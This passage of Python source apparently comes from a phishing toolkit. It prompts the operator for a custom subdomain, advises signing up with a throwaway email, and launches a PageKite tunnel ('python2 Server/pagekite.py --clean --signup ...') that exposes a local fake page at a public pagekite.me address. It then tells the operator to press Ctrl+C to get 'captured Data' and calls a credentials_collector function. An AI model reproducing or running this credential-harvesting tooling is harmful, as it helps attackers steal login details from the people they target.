" \n {0} [ {1} * {0} ] {0} Enter A Custom Subdomain Ex.(yourname): \n {0} Custom Subdomain>>> {1} " . format (
default_palette [ 0 ] , default_palette [ 2 ] ) )
print ( " \n {0} [ {1} * {0} ] {1} Use Temporary Email Services(Don ' t Harm Anyone). {1} " . format ( default_palette [ 0 ] ,
default_palette [ 4 ] ) )
print ( " {0} [ {1} * {0} ] {1} Sometime Email verification Required by Pagekite(Stay Alert) {1} " . format (
default_palette [ 0 ] , default_palette [ 4 ] ) )
print ( " {0} [ {1} * {0} ] {1} You can also get various subdomain assigned to your subdomain. {1} " . format (
default_palette [ 0 ] , default_palette [ 4 ] ) )
print ( " {0} [ {1} * {0} ] {1} Check Control Panel Of pagekite at https://pagekite.net/ . {1} " . format (
default_palette [ 0 ] , default_palette [ 4 ] ) )
print ( " {0} [ {1} * {0} ] {1} We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data. {1} " . format (
default_palette [ 0 ] , default_palette [ 4 ] ) )
input ( " \n {0} [ {1} * {0} ] {0} Press Enter To Launch The Pagekite... {1} " . format ( default_palette [ 0 ] ,
default_palette [ 4 ] ) )
run_command ( ' python2 Server/pagekite.py --clean --signup {0} {1} .pagekite.me ' . format ( port , subdomain ) )
except KeyboardInterrupt :
print ( ' [!] Please Copy the Generated Link For Further Use ' )
simple_informant . credentials_collector ( port )